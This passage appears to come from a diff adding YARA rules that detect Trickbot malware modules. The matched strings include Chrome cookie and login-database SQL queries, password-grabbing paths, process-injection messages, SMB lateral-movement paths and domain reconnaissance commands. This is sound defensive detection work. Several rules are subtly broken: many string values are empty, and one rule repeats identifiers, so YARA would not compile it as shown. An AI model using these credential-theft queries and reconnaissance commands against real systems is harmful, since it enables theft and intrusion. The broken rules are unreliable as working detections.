+ $a = { F9 8B 45 F4 89 5D E4 85 D2 74 39 83 C0 02 03 C6 89 45 F4 8B }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_1e56fad7 {
+ meta:
+ id = "1e56fad7-383f-4ee0-9f8f-a0b3dcceb691"
+ fingerprint = "a0916134f47df384bbdacff994970f60d3613baa03c0a581b7d1dd476af3121b"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 5B C9 C2 18 00 43 C1 02 10 7C C2 02 10 54 C1 02 10 67 C1 02 10 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_93c9a2a4 {
+ meta:
+ id = "93c9a2a4-a07a-4ed4-a899-b160d235bf50"
+ fingerprint = "0ff82bf9e70304868ff033f0d96e2a140af6e40c09045d12499447ffb94ab838"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 6A 01 8B CF FF 50 5C 8B 4F 58 49 89 4F 64 8B 4D F4 8B 45 E4 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_5340afa3 {
+ meta:
+ id = "5340afa3-ff90-4f61-a1ac-aba1f32dd375"
+ fingerprint = "7da4726ccda6a76d2da773d41f012763802d586f64a313c1c37733905ae9da81"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { E8 0C 89 5D F4 0F B7 DB 03 5D 08 66 83 F8 03 75 0A 8B 45 14 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_e7932501 {
+ meta:
+ id = "e7932501-66bf-4713-b10e-bcda29f4b901"
+ fingerprint = "ae31b49266386a6cf42289a08da4a20fc1330096be1dae793de7b7230225bfc7"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 24 0C 01 00 00 00 85 C0 7C 2F 3B 46 24 7D 2A 8B 4E 20 8D 04 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_cd0868d5 {
+ meta:
+ id = "cd0868d5-42d8-437f-8c1a-303526c08442"
+ fingerprint = "2f777285a90fce20cd4eab203f3ec7ed1c62e09fc2dfdce09b57e0802f49628f"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 8D 1C 01 89 54 24 10 8B 54 24 1C 33 C9 66 8B 0B 8D 3C 8A 8B 4C }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_515504e2 {
+ meta:
+ id = "515504e2-6b7f-4398-b89b-3af2b46c78a7"
+ fingerprint = "8eb741e1b3bd760e2cf511ad6609ac6f1f510958a05fb093eae26462f16ee1d0"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 6A 00 6A 00 8D 4D E0 51 FF D6 85 C0 74 29 83 F8 FF 74 0C 8D }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_a0fc8f35 {
+ meta:
+ id = "a0fc8f35-cbeb-43a8-b00d-7a0f981e84e4"
+ fingerprint = "033ff4f47fece45dfa7e3ba185df84a767691e56f0081f4ed96f9e2455a563cb"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 18 33 DB 53 6A 01 53 53 8D 4C 24 34 51 8B F0 89 5C 24 38 FF D7 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_cb95dc06 {
+ meta:
+ id = "cb95dc06-6383-4487-bf10-7fd68d61e37a"
+ fingerprint = "0d28f570db007a1b91fe48aba18be7541531cceb7f11a6a4471e92abd55b3b90"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 08 5F 5E 33 C0 5B 5D C3 8B 55 14 89 02 8B 45 18 5F 89 30 B9 01 00 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_9d4d3fa4 {
+ meta:
+ id = "9d4d3fa4-4e37-40d7-8399-a49130b7ef49"
+ fingerprint = "b06c3c7ba1f5823ce381971ed29554e5ddbe327b197de312738165ee8bf6e194"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 89 44 24 18 33 C9 89 44 24 1C 8D 54 24 38 89 44 24 20 33 F6 89 44 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_34f00046 {
+ meta:
+ id = "34f00046-8938-4103-91ec-4a745a627d4a"
+ fingerprint = "5c6f11e2a040ae32336f4b4c4717e0f10c73359899302b77e1803f3a609309c0"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 30 FF FF FF 03 08 8B 95 30 FF FF FF 2B D1 89 95 30 FF FF FF }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_f2a18b09 {
+ meta:
+ id = "f2a18b09-f7b3-4d1a-87ab-3018f520b69c"
+ fingerprint = "3e4474205efe22ea0185c49052e259bc08de8da7c924372f6eb984ae36b91a1c"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 04 39 45 08 75 08 8B 4D F8 8B 41 18 EB 0F 8B 55 F8 8B 02 89 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_d916ae65 {
+ meta:
+ id = "d916ae65-c97b-495c-89c2-4f1ec90081d2"
+ fingerprint = "2e109ed59a1e759ef089e04c21016482bf70228da30d8b350fc370b4e4d120e0"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 5F 24 01 10 CF 22 01 10 EC 22 01 10 38 23 01 10 79 23 01 10 82 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_52722678 {
+ meta:
+ id = "52722678-afbe-43ec-a39b-6848b7d49488"
+ fingerprint = "e67dda5227be74424656957843777ea533b6800576fd85f978fd8fb50504209c"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 2B 5D 0C 89 5D EC EB 03 8B 5D EC 8A 1C 3B 84 DB 74 0D 38 1F }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_28a60148 {
+ meta:
+ id = "28a60148-2efb-4cd2-ada1-dd2ae2699adf"
+ fingerprint = "c857aa792ef247bfcf81e75fb696498b1ba25c09fc04049223a6dfc09cc064b1"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { C0 31 E8 83 7D 0C 00 89 44 24 38 0F 29 44 24 20 0F 29 44 24 10 0F 29 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_997b25a0 {
+ meta:
+ id = "997b25a0-aeac-4f74-aa87-232c4f8329b6"
+ fingerprint = "0bba1c5284ed0548f51fdfd6fb96e24f92f7f4132caefbf0704efb0b1a64b7c4"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 85 D2 74 F0 C6 45 E1 20 8D 4D E1 C6 45 E2 4A C6 45 E3 4A C6 45 }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_b17b33a1 {
+ meta:
+ id = "b17b33a1-1021-4980-8ffd-2e7aa4ca2ae4"
+ fingerprint = "753d15c1ff0cc4cf75250761360bb35280ff0a1a4d34320df354e0329dd35211"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Automated"
+ maturity = "Diagnostic"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = { 08 53 55 56 57 64 A1 30 00 00 00 89 44 24 10 8B 44 24 10 8B }
+condition:
+ all of them
+}
+
+rule Windows_Trojan_Trickbot_23d77ae5 {
+ meta:
+ id = "23d77ae5-80de-4bb0-8701-ddcaff443dcc"
+ fingerprint = "d382a99e5eed87cf2eab5e238e445ca0bf7852e40b0dd06a392057e76144699f"
+ creation_date = "2021-03-28"
+ last_modified = "2021-04-12"
+ description = "Targets importDll64 containing Browser data stealer module"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "844974A2D3266E1F9BA275520C0E8A5D176DF69A0CCD5135B99FACF798A5D209"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "/system32/cmd.exe /c \"start microsoft-edge:{URL}\"" ascii fullword
+ $a2 = "SELECT name, value, host_key, path, expires_utc, creation_utc, encrypted_value FROM cookies" ascii fullword
+ $a3 = "attempt %d. Cookies not found" ascii fullword
+ $a4 = "attempt %d. History not found" ascii fullword
+ $a5 = "Cookies version is %d (%d)" ascii fullword
+ $a6 = "attempt %d. Local Storage not found" ascii fullword
+ $a7 = "str+='xie.com.'+p+'.guid='+'{'+components[i]+'}\\n';" ascii fullword
+ $a8 = "Browser exec is: %s" ascii fullword
+ $a9 = "found mozilla key: %s" ascii fullword
+ $a10 = "Version %d is not supported" ascii fullword
+ $a11 = "id %d - %s" ascii fullword
+ $a12 = "prot: %s, scope: %s, port: %d" ascii fullword
+ $a13 = "***** Send %d bytes to callback from %s *****" ascii fullword
+ $a14 = "/chrome.exe {URL}" ascii fullword
+condition:
+ 4 of ($a*)
+}
+
+rule Windows_Trojan_Trickbot_5574be7d {
+ meta:
+ id = "5574be7d-7502-4357-8110-2fb4a661b2bd"
+ fingerprint = "23d9b89917a0fc5aad903595b89b650f6dbb0f82ce28ce8bcc891904f62ccf1b"
+ creation_date = "2021-03-29"
+ last_modified = "2021-04-12"
+ description = "Targets injectDll64 containing injection functionality to steal banking credentials"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "8c5c0d27153f60ef8aec57def2f88e3d5f9a7385b5e8b8177bab55fa7fac7b18"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "webinject64.dll" ascii fullword
+ $a2 = "Mozilla Firefox version: %s" ascii fullword
+ $a3 = "socks=127.0.0.1:" ascii fullword
+ $a4 = "" ascii fullword
+ $a5 = "" ascii fullword
+ $a6 = "https://%.*s%.*s" ascii fullword
+ $a7 = "http://%.*s%.*s" ascii fullword
+ $a8 = "Chrome version: %s" ascii fullword
+ $a9 = "IE version real: %s" ascii fullword
+ $a10 = "IE version old: %s" ascii fullword
+ $a11 = "Build date: %s %s" ascii fullword
+ $a12 = "EnumDpostServer" ascii fullword
+ $a13 = "ESTR_PASS_" ascii fullword
+ $a14 = "" ascii fullword
+ $a15 = "" ascii fullword
+ $a16 = "" ascii fullword
+condition:
+ 4 of ($a*)
+}
+
+rule Windows_Trojan_Trickbot_1473f0b4 {
+ meta:
+ id = "1473f0b4-a6b5-4b19-a07e-83d32a7e44a0"
+ fingerprint = "15438ae141a2ac886b1ba406ba45119da1a616c3b2b88da3f432253421aa8e8b"
+ creation_date = "2021-03-29"
+ last_modified = "2021-04-12"
+ description = "Targets mailsearcher64.dll module"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "9cfb441eb5c60ab1c90b58d4878543ee554ada2cceee98d6b867e73490d30fec"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "mailsearcher.dll" ascii fullword
+ $a2 = "%s/%s/%s/send/" wide fullword
+ $a3 = "Content-Disposition: form-data; name=\"list\"" ascii fullword
+ $a4 = "no " ascii fullword
+ $a6 = "=Waitu H" ascii fullword
+ $a7 = "Content-Length: %d" ascii fullword
+condition:
+ 2 of ($a*)
+}
+
+rule Windows_Trojan_Trickbot_dcf25dde {
+ meta:
+ id = "dcf25dde-36c4-4a24-aa2b-0b3f42324918"
+ fingerprint = "4088ae29cb3b665ccedf69e9d02c1ff58620d4b589343cd4077983b25c5b479f"
+ creation_date = "2021-03-29"
+ last_modified = "2021-04-12"
+ description = "Targets networkDll64.dll module containing functionality to gather network and system information"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "BA2A255671D33677CAB8D93531EB25C0B1F1AC3E3085B95365A017463662D787"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "Host Name - %s" wide fullword
+ $a2 = "Last Boot Up Time - %02u/%02u/%04u %02d.%02d.%02d" wide fullword
+ $a3 = "Install Date - %02u/%02u/%04u %02d.%02d.%02d" wide fullword
+ $a4 = "System Directory - %s" wide fullword
+ $a5 = "OS Version - %s" wide fullword
+ $a6 = "***PROCESS LIST***" wide fullword
+ $a7 = "Product Type - Domain Controller" wide fullword
+ $a8 = "Registered Organization - %s" wide fullword
+ $a9 = "Product Type - Domain Controller" wide fullword
+ $a10 = "Build Type - %s" wide fullword
+ $a11 = "Boot Device - %s" wide fullword
+ $a12 = "Serial Number - %s" wide fullword
+ $a13 = "OS Architecture - %s" wide fullword
+ $a14 = "" ascii fullword
+ $a16 = "Computer name: %s" wide fullword
+ $a17 = "/c net view /all /domain" ascii fullword
+ $a18 = "/c nltest /domain_trusts" ascii fullword
+ $a19 = "***SYSTEMINFO***" wide fullword
+ $a20 = "***LOCAL MACHINE DATA***" wide fullword
+ $a21 = "Admin Name: %s" wide fullword
+ $a22 = "Domain controller: %s" wide fullword
+ $a23 = "Admin E-mail: %s" wide fullword
+condition:
+ 4 of ($a*)
+}
+
+rule Windows_Trojan_Trickbot_46dc12dd {
+ meta:
+ id = "46dc12dd-d81a-43a6-b7c3-f59afa1c863e"
+ fingerprint = "997fe1c5a06bfffb754051436c48a0538ff2dcbfddf0d865c3a3797252247946"
+ creation_date = "2021-03-29"
+ last_modified = "2021-04-12"
+ description = "Targets newBCtestDll64 module containing reverse shell functionality"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "BF38A787AEE5AFDCAB00B95CCDF036BC7F91F07151B4444B54165BB70D649CE5"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "setconf" ascii fullword
+ $a2 = "yes yes " ascii fullword
+ $a4 = "yes yes " ascii fullword
+ $a6 = "" ascii fullword
+condition:
+ 4 of ($a*)
+}
+
+rule Windows_Trojan_Trickbot_78a26074 {
+ meta:
+ id = "78a26074-dc4b-436d-8188-2a3cfdabf6db"
+ fingerprint = "f0446c7e1a497b93720824f4a5b72f23f00d0ee9a1607bc0c1b097109ec132a8"
+ creation_date = "2021-03-29"
+ last_modified = "2021-04-12"
+ description = "Targets psfin64.dll module containing point-of-sale recon functionality"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "8CD75FA8650EBCF0A6200283E474A081CC0BE57307E54909EE15F4D04621DDE0"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "" ascii fullword
+ $a4 = "ALOHA found: %d" wide fullword
+ $a5 = "BOH found: %d" wide fullword
+ $a6 = "MICROS found: %d" wide fullword
+ $a7 = "LANE found: %d" wide fullword
+ $a8 = "RETAIL found: %d" wide fullword
+ $a9 = "REG found: %d" wide fullword
+ $a10 = "STORE found: %d" wide fullword
+ $a11 = "POS found: %d" wide fullword
+ $a12 = "DOMAIN %s" wide fullword
+ $a13 = "/%s/%s/90" wide fullword
+ $a14 = "CASH found: %d" wide fullword
+ $a15 = "COMPUTERS:" wide fullword
+ $a16 = "TERM found: %d" wide fullword
+condition:
+ 3 of ($a*)
+}
+
+rule Windows_Trojan_Trickbot_217b9c97 {
+ meta:
+ id = "217b9c97-a637-49b8-a652-5a42ea19ee8e"
+ fingerprint = "7d5dcb60526a80926bbaa7e3cd9958719e326a160455095ff9f0315e85b8adf6"
+ creation_date = "2021-03-29"
+ last_modified = "2021-04-12"
+ description = "Targets pwgrab64.dll module containing functionality use to retrieve local passwords"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "1E90A73793017720C9A020069ED1C87879174C19C3B619E5B78DB8220A63E9B7"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "pwgrab.dll" ascii fullword
+ $a2 = "\\\\.\\pipe\\pidplacesomepipe" ascii fullword
+ $a3 = "\\Google\\Chrome\\User Data\\Default\\Login Data.bak" ascii fullword
+ $a4 = "select origin_url, username_value, password_value, length(password_value) from logins where blacklisted_by_user = 0" ascii fullword
+ $a5 = "yes yes " ascii fullword
+ $a9 = "Grab_Passwords_Chrome(): Can't open database" ascii fullword
+ $a10 = "UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_"
+ $a11 = "Chrome login db copied" ascii fullword
+ $a12 = "Skip Chrome login db copy" ascii fullword
+ $a13 = "Mozilla\\Firefox\\Profiles\\" ascii fullword
+ $a14 = "Grab_Passwords_Chrome() success" ascii fullword
+ $a15 = "No password provided by user" ascii fullword
+ $a16 = "Chrome login db should be copied (copy absent)" ascii fullword
+ $a17 = "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2" wide fullword
+condition:
+ 4 of ($a*)
+}
+
+rule Windows_Trojan_Trickbot_d2110921 {
+ meta:
+ id = "d2110921-b957-49b7-8a26-4c0b7d1d58ad"
+ fingerprint = "55dbbcbc77ec51a378ad2ba8d56cb0811d23b121cacd037503fd75d08529c5b5"
+ creation_date = "2021-03-29"
+ last_modified = "2021-04-12"
+ description = "Targets shareDll64.dll module containing functionality use to spread Trickbot across local networks"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "05EF40F7745DB836DE735AC73D6101406E1D9E58C6B5F5322254EB75B98D236A"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "module64.dll" ascii fullword
+ $a2 = "Size - %d kB" ascii fullword
+ $a3 = "%s - FAIL" wide fullword
+ $a4 = "%s - SUCCESS" wide fullword
+ $a5 = "ControlSystemInfoService" ascii fullword
+ $a6 = "yes " ascii fullword
+ $a7 = "Copy: %d" wide fullword
+ $a8 = "Start sc 0x%x" wide fullword
+ $a9 = "Create sc 0x%x" wide fullword
+ $a10 = "Open sc %d" wide fullword
+ $a11 = "ServiceInfoControl" ascii fullword
+condition:
+ 3 of ($a*)
+}
+
+rule Windows_Trojan_Trickbot_0114d469 {
+ meta:
+ id = "0114d469-8731-4f4f-8657-49cded5efadb"
+ fingerprint = "4f1fa072f4ba577d590bb8946ea9b9774aa291cb2406f13be5932e97e8e760c6"
+ creation_date = "2021-03-29"
+ last_modified = "2021-04-12"
+ description = "Targets systeminfo64.dll module containing functionality use to retrieve system information"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "083CB35A7064AA5589EFC544AC1ED1B04EC0F89F0E60383FCB1B02B63F4117E9"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "%s " wide fullword
+ $a2 = "%s " wide fullword
+ $a3 = "" wide fullword
+ $a4 = " " wide fullword
+ $a5 = "%s%s%s" wide fullword
+ $a6 = "%s " wide fullword
+ $a7 = "no 2 " ascii fullword
+ $a8 = "%s " wide fullword
+ $a9 = "%s " wide fullword
+ $a10 = "" wide fullword
+ $a11 = "" wide fullword
+ $a12 = "" wide fullword
+ $a13 = "SELECT * FROM Win32_Processor" wide fullword
+ $a14 = "SELECT * FROM Win32_OperatingSystem" wide fullword
+ $a15 = "SELECT * FROM Win32_ComputerSystem" wide fullword
+condition:
+ 6 of ($a*)
+}
+
+rule Windows_Trojan_Trickbot_07239dad {
+ meta:
+ id = "07239dad-7f9e-4b20-a691-d9538405b931"
+ fingerprint = "32d63b8db4307fd67e2c9068e22f843f920f19279c4a40e17cd14943577e7c81"
+ creation_date = "2021-03-29"
+ last_modified = "2021-04-12"
+ description = "Targets vncDll64.dll module containing remote control VNC functionality"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "DBD534F2B5739F89E99782563062169289F23AA335639A9552173BEDC98BB834"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "C:\\Users\\MaxMikhaylov\\Documents\\Visual Studio 2010\\MMVNC.PROXY\\VNCSRV\\x64\\Release\\VNCSRV.pdb" ascii fullword
+ $a2 = "vncsrv.dll" ascii fullword
+ $a3 = "-new -noframemerging http://www.google.com" ascii fullword
+ $a4 = "IE.HTTP\\shell\\open\\command" ascii fullword
+ $a5 = "EDGE\\shell\\open\\command" ascii fullword
+ $a6 = "/K schtasks.exe |more" ascii fullword
+ $a7 = " " ascii fullword
+ $a8 = "\\Microsoft Office\\Office16\\outlook.exe" ascii fullword
+ $a9 = "\\Microsoft Office\\Office11\\outlook.exe" ascii fullword
+ $a10 = "\\Microsoft Office\\Office15\\outlook.exe" ascii fullword
+ $a11 = "\\Microsoft Office\\Office12\\outlook.exe" ascii fullword
+ $a12 = "\\Microsoft Office\\Office14\\outlook.exe" ascii fullword
+ $a13 = "TEST.TEMP:" ascii fullword
+ $a14 = "Chrome_WidgetWin" wide fullword
+ $a15 = "o --disable-gpu --disable-d3d11 --disable-accelerated-2d-canvas" ascii fullword
+ $a16 = "NetServerStart" ascii fullword
+condition:
+ 6 of ($a*)
+}
+
+rule Windows_Trojan_Trickbot_fd7a39af {
+ meta:
+ id = "fd7a39af-c6ea-4682-a00a-01f775c3bb8d"
+ fingerprint = "3f2e654f2ffdd940c27caec3faeb4bda24c797a17d0987378e36c1e16fadc772"
+ creation_date = "2021-03-29"
+ last_modified = "2021-04-12"
+ description = "Targets wormDll64.dll module containing spreading functionality"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "D5BB8D94B71D475B5EB9BB4235A428563F4104EA49F11EF02C8A08D2E859FD68"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "module64.dll" ascii fullword
+ $a2 = "worming.png" wide
+ $a3 = "Size - %d kB" ascii fullword
+ $a4 = "[+] %s -" wide fullword
+ $a5 = "%s\\system32" ascii fullword
+ $a6 = "[-] %s" wide fullword
+ $a7 = "yes yes " ascii fullword
+ $a8 = "*****MACHINE IN WORKGROUP*****" wide fullword
+ $a9 = "*****MACHINE IN DOMAIN*****" wide fullword
+ $a10 = "\\\\%s\\IPC$" ascii fullword
+ $a11 = "Windows 5" ascii fullword
+ $a12 = "InfMach" ascii fullword
+ $a13 = "%s x64" wide fullword
+ $a14 = "%s x86" wide fullword
+ $a15 = "s(&(objectCategory=computer)(userAccountControl:" wide fullword
+ $a16 = "------MACHINE IN D-N------" wide fullword
+condition:
+ 5 of ($a*)
+}
+
+rule Windows_Trojan_Trickbot_2d89e9cd {
+ meta:
+ id = "2d89e9cd-2941-4b20-ab4e-a487d329ff76"
+ fingerprint = "e6eea38858cfbbe5441b1f69c5029ff9279e7affa51615f6c91981fe656294fc"
+ creation_date = "2021-03-29"
+ last_modified = "2021-04-12"
+ description = "Targets tabDll64.dll module containing functionality using SMB for lateral movement"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "Trickbot"
+ threat_name = "Windows.Trojan.Trickbot"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "3963649ebfabe8f6277190be4300ecdb68d4b497ac5f81f38231d3e6c862a0a8"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" ascii fullword
+ $a2 = "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ascii fullword
+ $a3 = "%SystemRoot%\\system32\\stsvc.exe" ascii fullword
+ $a4 = "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08p, pX64function=0x%08p, ctx=0x%08p" ascii fullword
+ $a5 = "DLL and target process must be same architecture" ascii fullword
+ $a6 = "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ascii fullword
+ $a7 = "%SystemDrive%\\stsvc.exe" ascii fullword
+ $a8 = "Wrote shellcode to 0x%x" ascii fullword
+ $a9 = "ERROR: %d, line - %d" wide fullword
+ $a10 = "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08p" ascii fullword
+ $a11 = "GetProcessPEB:EXCEPT" wide fullword
+ $a12 = "Checked count - %i, connected count %i" wide fullword
+ $a13 = "C:\\%s\\%s C:\\%s\\%s" ascii fullword
+ $a14 = "C:\\%s\\%s" ascii fullword
+ $a15 = "%s\\ADMIN$\\stsvc.exe" wide fullword
+ $a16 = "%s\\C$\\stsvc.exe" wide fullword
+ $a17 = "Size - %d kB" ascii fullword
+ $a18 = "yes yes " ascii fullword
+ $a10 = "" ascii fullword
+ $a11 = "\\\\%ls\\SYSVOL\\%ls" wide fullword
+ $a12 = "DomainGrabber14" ascii fullword
+ $a13 = "yes " ascii fullword
+ $a14 = "" ascii fullword
+ $a15 = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" wide fullword
+condition:
+ 4 of ($a*)
+}
+
+rule Windows_Trojan_Trickbot_91516cf4 {
+ meta:
+ id = "91516cf4-c826-4d5d-908f-e1c0b3bccec5"
